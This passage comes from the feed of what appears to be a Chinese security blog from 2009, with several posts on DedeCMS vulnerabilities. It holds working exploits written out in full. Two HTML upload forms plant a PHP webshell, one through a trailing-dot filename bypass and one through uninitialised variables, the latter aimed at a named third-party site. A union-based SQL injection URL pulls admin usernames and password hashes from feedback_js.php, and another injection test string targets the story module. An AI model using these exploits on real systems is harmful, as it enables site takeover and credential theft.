<span style="color: #666666; font-style: italic;">//文件名（前为手工指定， 后者自动处理）</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$newname</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$newname</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//当我们的新名称为st0p.php.的时候</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">ereg</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;\.&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$filename</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$fs</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$uploadfile_name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//当$filename中不含有.的时候调用</span>
	<span style="color: #b1b100;">else</span> <span style="color: #000088;">$fs</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$filename</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//当$filename中含有.时调用</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">eregi</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfg_not_allowall</span><span style="color: #339933;">,</span> <span style="color: #000088;">$fs</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">//$fs[count($fs)-1]得到的值为空,跳过验证</span>
	<span style="color: #009900;">&#123;</span>
		ShowMsg<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;你指定的文件名被系统禁止！&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'javascript:;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">ereg</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;\.&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$filename</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$filename</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">.</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">else</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cuserLogin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getUserID</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'-'</span><span style="color: #339933;">.</span>dd2char<span style="color: #009900;">&#40;</span>MyDate<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'ymdHis'</span><span style="color: #339933;">,</span><span style="color: #000088;">$nowtme</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$fs</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$uploadfile_name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">eregi</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfg_not_allowall</span><span style="color: #339933;">,</span> <span style="color: #000088;">$fs</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		ShowMsg<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;你上传了某些可能存在不安全因素的文件，系统拒绝操作！&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'javascript:;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$filename</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">.</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000088;">$fullfilename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cfg_basedir</span><span style="color: #339933;">.</span><span style="color: #000088;">$activepath</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">.</span><span style="color: #000088;">$filename</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//嘿嘿,跳过验证,$filename还为st0p.php.</span>
<span style="color: #000088;">$fullfileurl</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$activepath</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">.</span><span style="color: #000088;">$filename</span><span style="color: #339933;">;</span>
<span style="color: #990000;">move_uploaded_file</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$uploadfile</span><span style="color: #339933;">,</span><span style="color: #000088;">$fullfilename</span><span style="color: #009900;">&#41;</span> or <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;上传文件到 <span style="color: #006699; font-weight: bold;">$fullfilename</span> 失败！&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">@</span><span style="color: #990000;">unlink</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$uploadfile</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">......</span></pre></td></tr></table></div>

<p>EXP如下</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;
&lt;title&gt;DEDECMS v5.5 Final select_soft_post.php EXP&lt;/title&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
function fsubmit(){
    var form = document.forms[0];
    form.action = form.target.value + form.path.value;
    tmpstr = form.target.value +'/'+ form.newname.value;
    form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);
    form.submit();
    }
&lt;/script&gt;
&lt;style type=&quot;text/css&quot;&gt;
&lt;!--
body {
	text-align: center;
}
--&gt;
&lt;/style&gt;
&lt;/head&gt;
&nbsp;
&lt;body&gt;
&lt;h3&gt;DEDECMS v5.5 Final select_soft_post.php EXP&lt;/h3&gt;
&lt;form action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
  &lt;p&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;_SESSION[dede_admin_id]&quot; value=&quot;1&quot; /&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;bkurl&quot; value=&quot;1&quot; /&gt;
    &lt;label&gt;Target:
      &lt;input name=&quot;target&quot; type=&quot;text&quot; id=&quot;target&quot; value=&quot;http://target&quot; /&gt;
    &lt;/label&gt;
    &lt;label&gt;Path:
      &lt;input name=&quot;path&quot; type=&quot;text&quot; id=&quot;path&quot; value=&quot;/include/dialog/select_soft_post.php&quot; /&gt;
    &lt;/label&gt;
    &lt;label&gt;File:
      &lt;input type=&quot;file&quot; name=&quot;uploadfile&quot; id=&quot;uploadfile&quot; /&gt;
    &lt;/label&gt;
    &lt;label&gt;NewName:
      &lt;input name=&quot;newname&quot; type=&quot;text&quot; id=&quot;newname&quot; value=&quot;shell.php.&quot; /&gt;
    &lt;/label&gt;
    &amp;nbsp;&lt;input type=&quot;submit&quot; name=&quot;button&quot; id=&quot;button&quot; value=&quot;Fuck&quot; onclick=&quot;fsubmit()&quot; /&gt;
  &lt;/p&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/dedecms-v5-5-final-select_soft_post-php-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>72</slash:comments>
		</item>
		<item>
		<title>Dedecms select_soft_post.php页面变量未初始漏洞</title>
		<link>http://www.st0p.org/blog/archives/dedecms-select_soft_post-php-page-variable-is-not-an-initial-flaw.html</link>
		<comments>http://www.st0p.org/blog/archives/dedecms-select_soft_post-php-page-variable-is-not-an-initial-flaw.html#comments</comments>
		<pubDate>Sat, 24 Oct 2009 16:11:11 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[select_soft_post.php]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=277</guid>
		<description><![CDATA[文/ Flyh4t影响版本：Dedecms 5.5漏洞产生文件位于include\dialog\select_soft_post.php，其变量$cfg_basedir没有正确初始化，导致可以饶过身份认证和系统变量初始化文件，导致可以上传任意文件到指定目录。其漏洞利用前提是register_globals=on,可以通过自定义表单为相关的变量赋值。代码如下： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 &#60;html&#62; &#60;head&#62; &#60;title&#62;Dedecms v55 RCE Exploit Codz By flyh4t&#60;/title&#62; &#60;/head&#62; &#60;body style=&#34;FONT-SIZE: 9pt&#34;&#62;---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- &#60;br /&#62;&#60;br /&#62; &#60;form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype=&#34;multipart/form-data&#34; name='myform'&#62; &#60;input type='hidden' [...]]]></description>
			<content:encoded><![CDATA[<p>文/ Flyh4t影响版本：Dedecms 5.5漏洞产生文件位于include\dialog\select_soft_post.php，其变量$cfg_basedir没有正确初始化，导致可以饶过身份认证和系统变量初始化文件，导致可以上传任意文件到指定目录。其漏洞利用前提是register_globals=on,可以通过自定义表单为相关的变量赋值。代码如下：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Dedecms v55 RCE Exploit Codz By flyh4t&lt;/title&gt;
&lt;/head&gt;
&lt;body style=&quot;FONT-SIZE: 9pt&quot;&gt;---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- &lt;br /&gt;&lt;br /&gt;
&lt;form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype=&quot;multipart/form-data&quot; name='myform'&gt;
&lt;input type='hidden' name='activepath' value='/data/cache/' /&gt;
&lt;input type='hidden' name='cfg_basedir' value='../../' /&gt;
&lt;input type='hidden' name='cfg_imgtype' value='php' /&gt;
&lt;input type='hidden' name='cfg_not_allowall' value='txt' /&gt;
&lt;input type='hidden' name='cfg_softtype' value='php' /&gt;
&lt;input type='hidden' name='cfg_mediatype' value='php' /&gt;
&lt;input type='hidden' name='f' value='form1.enclosure' /&gt;
&lt;input type='hidden' name='job' value='upload' /&gt;
&lt;input type='hidden' name='newname' value='fly.php' /&gt;
Select U Shell &lt;input type='file' name='uploadfile' size='25' /&gt;
&lt;input type='submit' name='sb1' value='确定' /&gt;
&lt;/form&gt;
&lt;br /&gt;It's just a exp for the bug of Dedecms V55...&lt;br /&gt;
Need register_globals = on...&lt;br /&gt;Fun the game,get a webshell at /data/cache/fly.php...&lt;br /&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></td></tr></table></div>

<p>请自行修改form表单对应的网站域名。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/dedecms-select_soft_post-php-page-variable-is-not-an-initial-flaw.html/feed</wfw:commentRss>
		<slash:comments>220</slash:comments>
		</item>
		<item>
		<title>DEDECMS 5.1 feedback_js.php 0DAY</title>
		<link>http://www.st0p.org/blog/archives/dedecms-5-1-feedback_js-php-0day.html</link>
		<comments>http://www.st0p.org/blog/archives/dedecms-5-1-feedback_js-php-0day.html#comments</comments>
		<pubDate>Sun, 11 Oct 2009 08:36:36 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[DEDECMS 5.1]]></category>
		<category><![CDATA[feedback_js.php]]></category>
		<category><![CDATA[注入]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=258</guid>
		<description><![CDATA[作者:st0p Rainy'Fox 转载请注明出处:http://www.st0p.org http://bbs.erpangzi.com/ 这个漏洞是我和Rainy'Fox一起发现的 同样是在magic_quotes_gpc=off的情况下可用 漏洞版本:DEDECMS 5.1 此漏洞可拿到后台管理员的帐号和加密HASH,漏洞存在文件plus/feedback_js.php,未过滤参数为$arcurl 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ...... $urlindex = 0; if&#40;empty&#40;$arcID&#41;&#41; &#123; $row = $dlist-&#62;dsql-&#62;GetOne&#40;&#34;Select id From `#@__cache_feedbackurl` where url='$arcurl' &#34;&#41;; //此处$arcurl没有过滤 if&#40;is_array&#40;$row&#41;&#41; $urlindex = $row&#91;'id'&#93;; //存在结果则把$urlindex赋值为查询到的$row['id'],我们可以构造SQL语句带入下面的操作中了 &#125; if&#40;empty&#40;$arcID&#41; &#38;&#38; empty&#40;$urlindex&#41;&#41; exit&#40;&#41;; //如果$arcID为空或$urlindex为空则退出 [...]]]></description>
			<content:encoded><![CDATA[<p>作者:st0p Rainy'Fox<br />
转载请注明出处:http://www.st0p.org http://bbs.erpangzi.com/</p>
<p>这个漏洞是我和Rainy'Fox一起发现的<br />
同样是在magic_quotes_gpc=off的情况下可用</p>
<p>漏洞版本:DEDECMS 5.1<br />
此漏洞可拿到后台管理员的帐号和加密HASH,漏洞存在文件plus/feedback_js.php,未过滤参数为$arcurl</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">......</span>
<span style="color: #000088;">$urlindex</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$arcID</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$dlist</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">dsql</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">GetOne</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Select id From `#@__cache_feedbackurl` where url='<span style="color: #006699; font-weight: bold;">$arcurl</span>' &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #666666; font-style: italic;">//此处$arcurl没有过滤</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">is_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$urlindex</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
      <span style="color: #666666; font-style: italic;">//存在结果则把$urlindex赋值为查询到的$row['id'],我们可以构造SQL语句带入下面的操作中了</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$arcID</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$urlindex</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//如果$arcID为空或$urlindex为空则退出</span>
<span style="color: #339933;">......</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$arcID</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$wq</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot; urlindex = '<span style="color: #006699; font-weight: bold;">$urlindex</span>' &quot;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//我们让$arcID为空,刚才上面执行的结果就会被赋值给$wq带入下面的操作中执行了.</span>
<span style="color: #b1b100;">else</span> <span style="color: #000088;">$wq</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot; aid='<span style="color: #006699; font-weight: bold;">$arcID</span>' &quot;</span><span style="color: #339933;">;</span>
 <span style="color: #000088;">$querystring</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;select * from `#@__feedback` where <span style="color: #006699; font-weight: bold;">$wq</span> and ischeck='1' order by dtime desc&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dlist</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">Init</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dlist</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">SetSource</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$querystring</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">......</span></pre></td></tr></table></div>

<p>看一下利用方法吧,嘿,为了闭合我用了两次union<span id="more-258"></span></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select &quot;' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2  and ''='&quot; from dede_admin where ''='</pre></td></tr></table></div>

<p><a  href="http://www.st0p.org/blog/wp-content/uploads/2009/10/dedecms-5-1-feedback_js-php-0day.gif" class="thickbox no_icon" rel="gallery-258" title="dedecms-5-1-feedback_js-php-0day"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/10/dedecms-5-1-feedback_js-php-0day.gif" alt="dedecms-5-1-feedback_js-php-0day" title="dedecms-5-1-feedback_js-php-0day" width="541" height="321" class="alignnone size-full wp-image-259" /></a></p>
<p>唉,偶和Rainy'Fox这家伙找目标测试的时候,他竟然说能不能在magic_quotes_gpc=on时通过....这种想法太YD了..也太可怕了,要真可以实现,这个网络界又该乱了,好多程序都是在PHP默认magic_quotes_gpc为关闭时才会调用自身的转义部分...要真能实现,那就是PHP程序的恶梦了...</p>
]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/dedecms-5-1-feedback_js-php-0day.html/feed</wfw:commentRss>
		<slash:comments>206</slash:comments>
		</item>
		<item>
		<title>DEDECMS 小说连载模块 0DAY</title>
		<link>http://www.st0p.org/blog/archives/dedecms-fiction-serial-module-0day.html</link>
		<comments>http://www.st0p.org/blog/archives/dedecms-fiction-serial-module-0day.html#comments</comments>
		<pubDate>Tue, 22 Sep 2009 05:37:09 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[magic_quotes_gpc]]></category>
		<category><![CDATA[mybooks.php]]></category>
		<category><![CDATA[mysql_error_trace.inc]]></category>
		<category><![CDATA[mysql_error_trace.php]]></category>
		<category><![CDATA[story_books.php]]></category>
		<category><![CDATA[story_list_chapter.php]]></category>
		<category><![CDATA[story_list_content.php]]></category>
		<category><![CDATA[story_stow.php]]></category>
		<category><![CDATA[注入]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=174</guid>
		<description><![CDATA[作者：st0p 可以转载，不过请注明出处http://www.st0p.org 由于这个洞出现在DEDECMS小说连载的模块中，所以只要DEDECMS安装时选小说连载模块，那么就存在这个问题，有些版本在条件允许下是可以直接拿SHELL的哦。 st0p总结了一下利用条件 条件1：当服务器的PHP设置magic_quotes_gpc = Off 条件2：目标DEDECMS系统安装时选中小说连载模块 首先我们先来看一下DEDECMS 5.1，他的小说频道和DEDECMS 5.3.1,DEDECMS 5.5不同，因为他的文件在member目录下面，文件是member/story_books.php，而DEDECMS 5.3.1和DEDECMS 5.5的文件在book目录下，文件是book/story_books.php 因为里面的代码相似，所以呢，咱们只看一个story_books.php就行了 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 &#60;?php ...... if&#40;!isset&#40;$action&#41;&#41; $action = ''; //检测变量$action是否存在，不存则则给初使值 if&#40;!isset&#40;$catid&#41;&#41; $catid = 0; //检测变量$catid是否存在，不存则则给初使值 if&#40;!isset&#40;$keyword&#41;&#41; $keyword = &#34;&#34;; //检测变量$keyword是否存在，不存则则给初使值 if&#40;!isset&#40;$orderby&#41;&#41; $orderby = 0; //检测变量$orderby是否存在，不存则则给初使值 [...]]]></description>
			<content:encoded><![CDATA[<p>作者：st0p<br />
可以转载，不过请注明出处http://www.st0p.org</p>
<p>由于这个洞出现在DEDECMS小说连载的模块中，所以只要DEDECMS安装时选小说连载模块，那么就存在这个问题，有些版本在条件允许下是可以直接拿SHELL的哦。<br />
st0p总结了一下利用条件<br />
条件1：当服务器的PHP设置magic_quotes_gpc = Off<br />
条件2：目标DEDECMS系统安装时选中小说连载模块</p>
<p>首先我们先来看一下DEDECMS 5.1，他的小说频道和DEDECMS 5.3.1,DEDECMS 5.5不同，因为他的文件在member目录下面，文件是member/story_books.php，而DEDECMS 5.3.1和DEDECMS 5.5的文件在book目录下，文件是book/story_books.php<br />
因为里面的代码相似，所以呢，咱们只看一个story_books.php就行了</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #339933;">......</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$action</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$action</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//检测变量$action是否存在，不存则则给初使值</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$catid</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$catid</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//检测变量$catid是否存在，不存则则给初使值</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$keyword</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$keyword</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//检测变量$keyword是否存在，不存则则给初使值</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$orderby</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$orderby</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//检测变量$orderby是否存在，不存则则给初使值</span>
<span style="color: #339933;">......</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$catid</span><span style="color: #339933;">!=</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$addquery</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot; And (b.bcatid='<span style="color: #006699; font-weight: bold;">$catid</span>' Or b.catid='<span style="color: #006699; font-weight: bold;">$catid</span>') &quot;</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">//变量$catid不为0时，就直接把$catid给$addquery了，没有验证</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$keyword</span><span style="color: #339933;">!=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$addquery</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot; And (b.bookname like '%<span style="color: #006699; font-weight: bold;">$keyword</span>%' Or b.author like '%<span style="color: #006699; font-weight: bold;">$keyword</span>%') &quot;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//变量$keyword不为空时，就直接把$keyword给$addquery了，没有验证</span>
<span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;
   Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,b.ischeck, c.id as cid,c.classname From #@__story_books b
   left join #@__story_catalog c on c.id = b.catid where memberid=<span style="color: #006699; font-weight: bold;">{$cfg_ml-&gt;M_ID}</span> and b.id&gt;0 <span style="color: #006699; font-weight: bold;">$addquery</span> <span style="color: #006699; font-weight: bold;">$orderby</span>
&quot;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//生成了语句</span>
<span style="color: #339933;">......</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>上面的代码看到了吧，嘎，catid和keyword没有过滤，所以这就引起了注入，不过好像构成语句有点麻烦，这个就不在本文的讨论了范围了，我们举个小例子试一下，以下操作请在登陆后进行测试，直接注册个帐号，登陆，然后输入以下地址就可以了<br />
<span id="more-174"></span><br />
DEDECMS 5.1</p>
<p>测试一，catid变量，地址如下<br />
http://st0p:88/dedecms51/member/story_books.php?catid=10') or ('st0p'='st0p</p>
